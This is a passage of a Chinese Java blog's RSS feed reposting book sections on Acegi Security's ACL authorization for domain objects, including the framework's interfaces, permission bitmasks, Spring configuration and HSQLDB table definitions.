GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/07/06/128590.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/128590.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/07/06/128590.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/128590.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/128590.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 介绍关于用eclipse+wtp发布webservice是相当的简单。这里只简单介绍一下，wtp下发布webservice有以下几个步骤：&#183;创建Dynamic Web Project.(wtp自带项目)&#183;在soure folder 下面创建要发布的java bean。本例中发布了一个User.java&#183;在创建的工程上面新建Web Service. (w...&nbsp;&nbsp;<a href='http://www.blogjava.net/junky/archive/2007/07/06/128590.html'>阅读全文</a><img src ="http://www.blogjava.net/junky/aggbug/128590.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-07-06 15:07 <a href="http://www.blogjava.net/junky/archive/2007/07/06/128590.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>14.1  Acegi眼中的领域对象</title><link>http://www.blogjava.net/junky/archive/2007/07/03/127937.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Tue, 03 Jul 2007 11:24:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/07/03/127937.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/127937.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/07/03/127937.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/127937.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/127937.html</trackback:ping><description><![CDATA[<h3>14.1 &nbsp;Acegi眼中的领域对象</h3>
<p>大部分开发者都应该熟悉基于Windows NT内核的Windows操作系统，比如Windows 2000、2003、XP。事实上，Windows操作系统本身充当了管理千万个领域对象的角色，这里的领域对象就是那些文件夹和文件。各个文件夹可以含有子文件夹，也可以含有大量的文件。文件是叶节点，它不再包含任何子元素。从领域对象的角度出发，文件夹和文件自身都持有各自的访问控制列表（Access Control List，ACL），ACL用于给定操控这些领域对象的权限信息，比如marissa用户可以操作shared目录，而scott用户不能够操作shared目录等。</p>
<p>为了同基于角色授权区分开，对于领域对象而言，访问控制列表（Access Control List，ACL）成为了各个领域对象的&#8220;专有名词&#8221;。这意味着，角色授权适用于Web资源和业务方法，而ACL授权适用于领域对象。各个ACL可能持有若干个ACE，即Access Control Entry（访问控制项）。总之，各个领域对象都会存在对应它的ACL，而各个ACL会持有若干个ACE，ACE真正给出了操控当前领域对象的具体权限信息。</p>
<table cellSpacing=0 cellPadding=0 width=519 border=1>
    <thead>
        <tr>
            <td width=519>
            <p>关于org.acegisecurity.acl与org.acegisecurity.acls包</p>
            </td>
        </tr>
    </thead>
    <tbody>
        <tr>
            <td width=519>
            <p>早期的Acegi就提供了较好的领域对象支持，即org.acegisecurity.acl包。随着企业用户的日益使用，他们逐渐认识到org.acegisecurity.acl的不足之处，比如他们不能够将特定数据库提供的一些高级特性应用到自身的应用中、acl包操作数据库的效率较低、对内存的使用不是非常合理等。后来，Acegi开发团队便也在逐渐改进现有的不足之处。</p>
            <p>自从Acegi 1.0.3开始，基于新基代码的org.acegisecurity.acls包取代了org.acegisecurity.acl的地位，也就是说新开发的企业应用最好使用org.acegisecurity.acls提供的领域对象支持。本书仅仅专注org.acegisecurity.acls的使用，这两个包的使用存在的差别很大。可以看出，acls包不仅克服了原有acl包的一切缺陷，而且Acegi开发团队一直在改进acls包。Acegi开发团队可能会在某个特定时刻将org.acegisecurity.acl包丢弃掉。</p>
            </td>
        </tr>
    </tbody>
</table>
<h3><img height=38 src="http://book.csdn.net/BookFiles/310/img/image005.gif" width=67>14.1.1 &nbsp;保护领域对象概述</h3>
<p>Acegi于org.acegisecurity.acls.domain包内置了表示ACL的如下Acl接口。通过这一接口，我们能够获得ACL持有的ACE集合、当前ACL对应的领域对象、这一ACL的持有人（主人）、当前ACL的父ACL等。</p>
<p>public interface Acl extends <strong>Serializable</strong> {</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; //获得当前ACL持有的ACE集合</p>
<p>&nbsp;&nbsp;&nbsp; public AccessControlEntry[] <strong>getEntries</strong>();</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; //当前ACL对应的领域对象</p>
<p>&nbsp;&nbsp;&nbsp; public ObjectIdentity <strong>getObjectIdentity</strong>();</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; //持有这一ACL的主人</p>
<p>&nbsp;&nbsp;&nbsp; public Sid <strong>getOwner</strong>();</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; //获得当前ACL的父ACL</p>
<p>&nbsp;&nbsp;&nbsp; public Acl <strong>getParentAcl</strong>();</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; //父ACL是否允许被当前ACL继承</p>
<p>&nbsp;&nbsp;&nbsp; public boolean <strong>isEntriesInheriting</strong>();</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; //用于ACL授权决定</p>
<p>&nbsp;&nbsp;&nbsp; public boolean <strong>isGranted</strong>(Permission[] permission, Sid[] sids, </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; boolean administrativeMode)</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throws NotFoundException, UnloadedSidException;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; //判断当前ACL是否已持有传入的sids</p>
<p>&nbsp;&nbsp;&nbsp; public boolean <strong>isSidLoaded</strong>(Sid[] sids);</p>
<p>}</p>
<p>图14-1展示了Acegi内置的Acl继承链，处于继承链中的各个接口及类各有各的用途。比如，借助于MutableAcl能够修改当前的AclImpl实例，借助于AuditableAcl能够完成ACL中ACE的审计，借助于OwnershipAcl能够修改当前AclImpl实例的主人。</p>
<p align=center><img height=185 src="http://book.csdn.net/BookFiles/310/img/image021.gif" width=326 border=0></p>
<p align=center>图14-1 &nbsp;Acl继承链</p>
<p>下面给出了Acegi内置的用于表示ACE的AccessControlEntry策略接口。通常，Acl同AccessControlEntry具有1:<em>N</em>的关系，单个Acl持有若干个AccessControlEntry。</p>
<p>public interface AccessControlEntry {</p>
<p>&nbsp;&nbsp;&nbsp; //获得其所在的ACL</p>
<p>&nbsp;&nbsp;&nbsp; public Acl <strong>getAcl</strong>();</p>
<p>&nbsp;&nbsp;&nbsp; //标识当前的ACE</p>
<p>&nbsp;&nbsp;&nbsp; public Serializable <strong>getId</strong>();</p>
<p>&nbsp;&nbsp;&nbsp; //表示的ACL（ACE）权限信息</p>
<p>&nbsp;&nbsp;&nbsp; public Permission <strong>getPermission</strong>();</p>
<p>&nbsp;&nbsp;&nbsp; //当前ACL（ACE）权限信息的持有人，比如marissa用户</p>
<p>&nbsp;&nbsp;&nbsp; public Sid <strong>getSid</strong>();</p>
<p>&nbsp;&nbsp;&nbsp; //当前ACL（ACE）权限信息是否已经授给了Sid</p>
<p>&nbsp;&nbsp;&nbsp; public boolean <strong>isGranting</strong>();</p>
<p>}</p>
<p>图14-2展示了Acegi内置的AccessControlEntry继承链。</p>
<p align=center><img height=143 src="http://book.csdn.net/BookFiles/310/img/image022.gif" width=277 border=0></p>
<p align=center>图14-2 &nbsp;AccessControlEntry继承链</p>
<p>在借助Acegi保护领域对象期间，开发者几乎不用同Acl和AccessControlEntry打交道，至少不用同AclImpl和AccessControlEntryImpl实现类交互。Acl和AccessControlEntry都使用到Sid接口，而Acl还使用到ObjectIdentity接口。Sid用于表示ACL授权过程中的授权对象，比如marissa用户、ROLE_USER角色都可以成为Sid的表示对象。图14-3展示了Acegi内置的Sid继承链。开发者将用户名、Authentication对象传入PrincipalSid构建器便能够构建出PrincipalSid对象；同理，将角色、GrantedAuthority对象传入GrantedAuthoritySid构建器便能够构建出GrantedAuthoritySid对象。ObjectIdentity用于标识单个领域对象，这一对象的存在使得目标企业应用同Acegi间的耦合得到降低，ObjectIdentityImpl是Acegi内置的唯一ObjectIdentity实现类。</p>
<p align=center><img height=123 src="http://book.csdn.net/BookFiles/310/img/image023.gif" width=165 border=0></p>
<p align=center>图14-3 &nbsp;Sid继承链</p>
<p>Acegi提供的ACL子系统正是围绕Acl、AccessControlEntry、Sid、ObjectIdentity展开的，这些对象存活于业务系统与RDBMS间。也正是这些接口的存在，我们才能够将Acegi提供的ACL子系统作用到任何RDBMS中。也就是说，Acegi提供的领域对象支持适合于所有的RDBMS、O/R Mapping技术。为了能够从RDBMS装载到相关对象，我们需要使用Acegi内置的如下AclService接口。</p>
<p>//获得ACL</p>
<p>public interface AclService {</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; //查找到parentIdentity的所有子ObjectIdentity，ACL管理工具经常要使用到它</p>
<p>&nbsp;&nbsp;&nbsp; public ObjectIdentity[] <strong>findChildren</strong>(ObjectIdentity parentIdentity);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; //通过ObjectIdentity获得单个Acl对象</p>
<p>&nbsp;&nbsp;&nbsp; public Acl <strong>readAclById</strong>(ObjectIdentity object) throws NotFoundException;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; //通过ObjectIdentity获得仅适合于sids的单个Acl对象</p>
<p>&nbsp;&nbsp;&nbsp; public Acl <strong>readAclById</strong>(ObjectIdentity object, Sid[] sids)</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throws NotFoundException;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; //获得ObjectIdentity[]对应的Acl对象集合</p>
<p>&nbsp;&nbsp;&nbsp; public Map <strong>readAclsById</strong>(ObjectIdentity[] objects) throws NotFoundException;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; //通过ObjectIdentity[]获得仅适合于sids的Acl对象集合</p>
<p>&nbsp;&nbsp;&nbsp; public Map <strong>readAclsById</strong>(ObjectIdentity[] objects, Sid[] sids)</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throws NotFoundException;</p>
<p>}</p>
<p>图14-4展示了Acegi内置的AclService继承链，处于这一继承链中的各个接口及实现类各有各的用途。比如，JdbcAclService用于实现AclService策略接口。</p>
<p align=center><img height=141 src="http://book.csdn.net/BookFiles/310/img/image024.gif" width=226 border=0></p>
<p align=center>图14-4 &nbsp;AclService继承链</p>
<p>MutableAclService用于维护Acl实例，开发者经常要同这一策略接口打交道，其定义如下。JdbcMutableAclService实现了MutableAclService。注意，开发者也可以提供O/R Mapping技术对应的AclService实现，比如Hibernate、JPA。Acegi仅仅实现了JDBC版本的AclService，开发者可以在自身的应用中同时使用O/R Mapping技术和JDBC。</p>
<p>//维护Acl实例</p>
<p>public interface MutableAclService extends <strong>AclService</strong> {</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; //在RDBMS中创建不含ACE的ACL，即Acl对象</p>
<p>&nbsp;&nbsp;&nbsp; public MutableAcl <strong>createAcl</strong>(ObjectIdentity objectIdentity)</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throws AlreadyExistsException;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; //从RDBMS中删除objectIdentity对应的ACL</p>
<p>&nbsp;&nbsp;&nbsp; public void <strong>deleteAcl</strong>(ObjectIdentity objectIdentity, boolean deleteChildren)</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throws ChildrenExistException;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; //将现有的acl实例同步到RDBMS中</p>
<p>&nbsp;&nbsp;&nbsp; public MutableAcl <strong>updateAcl</strong>(MutableAcl acl) throws NotFoundException;</p>
<p>}</p>
<p>通过本节内容，我们大致了解了Acegi提供的用于ACL子系统的各主要接口。本章后续内容将围绕这些接口展开论述。</p>
<h3><img height=38 src="http://book.csdn.net/BookFiles/310/img/image005.gif" width=67>14.1.3 &nbsp;ACL权限的定义</h3>
<p>我们可以对领域对象进行各种操作，比如新增、删除、修改、浏览、管理等。Acegi将各种ACL权限信息建模在BasePermission对象中，相关的ACL权限信息摘录如下。开发者经常需要同READ、WRITE、CREATE、DELETE、ADMINISTRATION等ACL权限打交道，这些权限的含义非常容易理解。借助于FieldRetrievingFactoryBean，开发者能够在DI容器中配置它们。</p>
<p>public static final Permission <strong>READ</strong> = </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; new BasePermission(1 &lt;&lt; 0, 'R'); // 1</p>
<p>public static final Permission <strong>WRITE</strong> = </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; new BasePermission(1 &lt;&lt; 1, 'W'); // 2</p>
<p>public static final Permission <strong>CREATE</strong> = </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; new BasePermission(1 &lt;&lt; 2, 'C'); // 4</p>
<p>public static final Permission <strong>DELETE</strong> = </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; new BasePermission(1 &lt;&lt; 3, 'D'); // 8</p>
<p>public static final Permission <strong>ADMINISTRATION</strong> = </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; new BasePermission(1 &lt;&lt; 4, 'A'); // 16</p>
<p>图14-7展示了Acegi内置的Permission继承链。BasePermission将基本的权限建模好了，而借助于CumulativePermission，开发者能够建构复合权限。比如，我们可以对READ、WRITE等权限进行逻辑或运算，进而在RDBMS中存储复合权限，从而简化了ACL授权操作。</p>
<p align=center><img height=142 src="http://book.csdn.net/BookFiles/310/img/image025.gif" width=222 border=0></p>
<p align=center>图14-7 &nbsp;Permission继承链</p>
<p>下面摘录了ADMINISTRATION、READ、DELETE权限的定义示例，这些配置信息同样摘自于applicationContext-common-authorization.xml配置文件。各个AclEntryVoter投票器和AbstractAclProvider子类需要引用到这些ACL权限定义。</p>
<p>&lt;bean id="BasePermission.ADMINISTRATION" </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; class="org.springframework.beans.factory.config.FieldRetrievingFactoryBean"&gt;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;property name="staticField"&gt;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;value&gt;org.acegisecurity.acls.domain.BasePermission.ADMINISTRATION&lt;/value&gt;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/property&gt;</p>
<p>&lt;/bean&gt;</p>
<p>&lt;bean id="BasePermission.READ" </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; class="org.springframework.beans.factory.config.FieldRetrievingFactoryBean"&gt;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;property name="staticField"&gt;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;value&gt;org.acegisecurity.acls.domain.BasePermission.READ&lt;/value&gt;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/property&gt;</p>
<p>&lt;/bean&gt;</p>
<p>&lt;bean id="BasePermission.DELETE" </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; class="org.springframework.beans.factory.config.FieldRetrievingFactoryBean"&gt;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;property name="staticField"&gt;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;value&gt;org.acegisecurity.acls.domain.BasePermission.DELETE&lt;/value&gt;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/property&gt;</p>
<p>&lt;/bean&gt;</p>
<!-- page -->
<img src ="http://www.blogjava.net/junky/aggbug/127937.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-07-03 19:24 <a href="http://www.blogjava.net/junky/archive/2007/07/03/127937.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>14.2  实施保护领域对象的重要步骤</title><link>http://www.blogjava.net/junky/archive/2007/07/03/127936.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Tue, 03 Jul 2007 11:21:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/07/03/127936.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/127936.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/07/03/127936.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/127936.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/127936.html</trackback:ping><description><![CDATA[<h3>14.2 &nbsp;实施保护领域对象的重要步骤</h3>
<p>在熟悉Acegi中ACL子系统的各个术语及基本概念后，我们需要通过实际企业应用验证它们，从而加深对它们的理解。</p>
<h3><img height=38 src="http://book.csdn.net/BookFiles/310/img/image005.gif" width=67>14.2.1&nbsp; RDBMS表的建立</h3>
<p>为了实施基于Acegi ACL领域对象授权支持的企业应用，开发者必须建立好同ACL相关的4张RDBMS表。它们的名字和含义如下。</p>
<p>l&nbsp; acl_class：用于存储领域对象对应的全限定名，比如sample.contact.Contact。</p>
<p>l&nbsp; acl_sid：用于存储ACL授权对象，或者是用户名，或者是角色名。比如，marissa用户、ROLE_USER角色。</p>
<p>l&nbsp; acl_object_identity：用于存储领域对象对应的Acl信息。</p>
<p>l&nbsp; acl_entry：用于存储Acl（acl_object_identity）对应的AccessControlEntry信息。默认时，acl_object_identity同acl_entry构成了主从表关系，并以1:<em>N</em>关系存在。</p>
<p>图14-8展示了这4张表间的具体关系，这是采用Hibernate Tools获得的图形化表示，此外，图中还展示了Acegi contacts示例存储领域对象的contacts表、存储用户和角色信息的users和authorities表。值得开发者注意的是，contacts、users、authorities表与ACL对应的4张表并无直接联系。接下来，我们来一一研究这些表的设计和内容。由于Acegi contacts示例采用了HSQLDB RDBMS，因此这些表对应的SQL DDL语句不能够直接用于其他生产数据库，比如Oracle 10g、SQL Server 2005。在领会Acegi ACL的思想后，开发者能够很轻松地给出特定数据库版本的ACL表定义。</p>
<p align=center><img height=269 src="http://book.csdn.net/BookFiles/310/img/image027.jpg" width=375 border=0></p>
<p align=center>图14-8 &nbsp;contacts示例设计的RDBMS表</p>
<p>其一，users表的定义如下：username列用于存储用户名，password列用于存储密码，enabled列用于存储启用标志位。</p>
<p>create table users(</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>username</strong> varchar_ignorecase(50) not null <strong>primary key</strong>,</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>password</strong> varchar_ignorecase(50) not null,</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>enabled</strong> boolean not null</p>
<p>);</p>
<p>图14-9给出了users表中已存储的示例数据。这里的password列的内容经过了MD5加密处理。</p>
<p align=center><img height=144 src="http://book.csdn.net/BookFiles/310/img/image028.jpg" width=289 border=0></p>
<p align=center>图14-9 &nbsp;users表已存储的示例数据</p>
<p>其二，authorities表的定义如下：username列用于存储用户名，authority列用于存储角色名。</p>
<p>create table authorities(</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>username</strong> varchar_ignorecase(50) not null,</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>authority</strong> varchar_ignorecase(50) not null,</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; constraint fk_authorities_users foreign key(username) references users(username)</p>
<p>);</p>
<p>create unique index ix_auth_username on authorities(username,authority);</p>
<p>图14-10给出了authorities表中已存储的示例数据，其中的username列数据引用到users表中username列的数据。默认时，users和authorities表处于1:<em>N</em>的关系。</p>
<p align=center><img height=162 src="http://book.csdn.net/BookFiles/310/img/image029.jpg" width=161 border=0></p>
<p align=center>图14-10 &nbsp;authorities表已存储的示例数据</p>
<p>其三，contacts表的定义如下：id列用于标识领域对象，contact_name列存储联系人的姓名，而email列用于存储联系人的邮件地址。</p>
<p>create table contacts(</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>id</strong> bigint not null <strong>primary key</strong>, </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>contact_name</strong> varchar_ignorecase(50) not null, </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>email</strong> varchar_ignorecase(50) not null</p>
<p>);</p>
<p>图14-11给出了contacts表中已存储的示例数据。</p>
<p align=center><img height=145 src="http://book.csdn.net/BookFiles/310/img/image030.jpg" width=209 border=0></p>
<p align=center>图14-11 &nbsp;contacts表已存储的示例数据</p>
<p>在实际企业应用中，存在大量的领域对象，因而会存在大量的RDBMS表来存储它们。类似地，实际企业应用存储用户、角色信息的RDBMS表也不一定是users、authorities表，相信仔细阅读过本书相关章节的开发者都知道如何自定义它们。好了，再来研究4张ACL表的SQL DDL语句及相应的示例数据。</p>
<p>其四，acl_class表的定义如下：id列用于标识领域对象对应的全限定名，而class列用于存储领域对象对应的全限定名。</p>
<p>create table acl_class(</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>id</strong> bigint generated by default as identity(start with 100) not null <strong>primary key</strong>,</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>class</strong> varchar_ignorecase(100) not null,</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; constraint unique_uk_2 unique(class)</p>
<p>);</p>
<p>图14-12给出了acl_class表中已存储的示例数据。由于Acegi contacts示例仅仅存在单个Contact领域对象类型，因此这一表仅仅存在单条记录。</p>
<p align=center><img height=38 src="http://book.csdn.net/BookFiles/310/img/image031.jpg" width=131 border=0></p>
<p align=center>图14-12 &nbsp;acl_class表已存储的示例数据</p>
<p>其五，acl_sid表的定义如下：principal列用于给定sid列的类型，即同一记录中存储了用户名还是角色名。相比之下，sid列存储用户名或者角色名。如果sid列存储了用户名，则principal列取值为true；如果sid列存储了角色名，则principal列取值为false。</p>
<p>create table acl_sid(</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>id</strong> bigint generated by default as identity(start with 100) not null <strong>primary key</strong>,</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>principal</strong> boolean not null,</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>sid</strong> varchar_ignorecase(100) not null,</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; constraint unique_uk_1 unique(sid,principal)</p>
<p>);</p>
<p>图14-13给出了acl_sid表中已存储的示例数据。由于sid列存储的数据都是用户名，因此principal列取值都为true。在某种程度上，acl_sid对应于Sid对象。</p>
<p align=center><img height=126 src="http://book.csdn.net/BookFiles/310/img/image032.jpg" width=119 border=0></p>
<p align=center>图14-13 &nbsp;acl_sid表已存储的示例数据</p>
<p>其六，acl_object_identity表的定义如下：id列为主键。其中，object_id_class引用到acl_class中的id列取值，图14-14中的object_id_class列取值都是100，即Contact领域对象类型。类似地，object_id_identity列的内容起到绑定特定领域对象的作用。比如，在contacts示例应用中，object_id_identity列的内容同contacts表中id列的内容保持一致。注意，开发者也可以通过其他策略维护object_id_identity列同特定领域对象间的绑定关系。默认时，我们建议领域对象都能够含有id属性，因为ObjectIdentityImpl可能会通过反射机制调用到领域对象的getId()方法，并将返回结果存储到object_id_identity列。最后，parent_object列用于指定当前ACL的父ACL，而own_sid列用于存储当前ACL的主人，entries_inheriting列用于指定当前ACL是否继承父ACL（含有的ACE集合）。可以看出，owner_sid列取值引用到acl_sid中id列取值。</p>
<p>create table acl_object_identity(</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>id</strong> bigint generated by default as identity(start with 100) not null <strong>primary key</strong>,</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>object_id_class</strong> bigint not null,</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>object_id_identity</strong> bigint not null,</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>parent_object</strong> bigint,</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>owner_sid</strong> bigint,</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>entries_inheriting</strong> boolean not null,</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; constraint unique_uk_3 unique(object_id_class,object_id_identity),</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; constraint foreign_fk_1 foreign key(parent_object)references acl_object_identity(id),</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; constraint foreign_fk_2 foreign key(object_id_class)references acl_class(id),</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; constraint foreign_fk_3 foreign key(owner_sid)references acl_sid(id)</p>
<p>);</p>
<p>图14-14给出了RDBMS acl_object_identity表中已存储的示例数据。在某种程度上，acl_object_identity对应于Acl对象。</p>
<p align=center><img height=145 src="http://book.csdn.net/BookFiles/310/img/image033.jpg" width=482 border=0></p>
<p align=center>图14-14 &nbsp;acl_object_identity表已存储的示例数据</p>
<p>其七，acl_entry表的定义如下：id列是主键。其中，acl_object_identity表指定当前ACE所属的ACL，即对应到acl_object_identity表中的id列。类似地，sid列用于存储当前ACE所属的授权对象，它对应于acl_sid表中的id列；ace_order列对ACE集合进行排序；mask列存储ACE权限信息，具体情况请参考BasePermission和CumulativePermission类；granting列表明当前的ACE权限是否已经授给了同一记录持有的sid列（用户名或角色）；audit_success和audit_failure列用于审计目的，供各种基于Acegi ACL的管理工具在审计ACL（ACE）时使用。开发者可以借助于Acegi暴露的API开发出相应的审计（管理）工具。</p>
<p>create table acl_entry(</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>id</strong> bigint generated by default as identity(start with 100) not null<strong> primary key</strong>,</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>acl_object_identity</strong> bigint not null,</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>ace_order</strong> int not null,</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>sid</strong> bigint not null,</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>mask</strong> integer not null,</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>granting</strong> boolean not null,</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>audit_success</strong> boolean not null,</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>audit_failure</strong> boolean not null,</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; constraint unique_uk_4 unique(acl_object_identity,ace_order),</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; constraint foreign_fk_4 foreign key(acl_object_identity) references acl_object_identity(id),</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; constraint foreign_fk_5 foreign key(sid) references acl_sid(id)</p>
<p>);</p>
<p>图14-15给出了RDBMS acl_entry表中已存储的示例数据。在某种程度上，acl_entry对应于AccessControlEntry对象。</p>
<p align=center><img height=122 src="http://book.csdn.net/BookFiles/310/img/image034.jpg" width=406 border=0></p>
<p align=center>图14-15&nbsp; acl_entry表已存储的示例数据</p>
<!-- page -->
<img src ="http://www.blogjava.net/junky/aggbug/127936.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-07-03 19:21 <a href="http://www.blogjava.net/junky/archive/2007/07/03/127936.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Acegi Security -- Spring下最优秀的安全系统(转)</title><link>http://www.blogjava.net/junky/archive/2007/07/03/127915.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Tue, 03 Jul 2007 09:40:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/07/03/127915.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/127915.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/07/03/127915.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/127915.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/127915.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 一&nbsp;Acegi安全系统介绍&nbsp;&nbsp;&nbsp; Author: cac 差沙 &nbsp;&nbsp;&nbsp; Acegi是Spring Framework 下最成熟的安全系统，它提供了强大灵活的企业级安全服务，如完善的认证和授权机制，Http资源访问控制，Method 调用访问控制，Access Control List (ACL) 基于对象实例的访问控制，...&nbsp;&nbsp;<a href='http://www.blogjava.net/junky/archive/2007/07/03/127915.html'>阅读全文</a><img src ="http://www.blogjava.net/junky/aggbug/127915.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-07-03 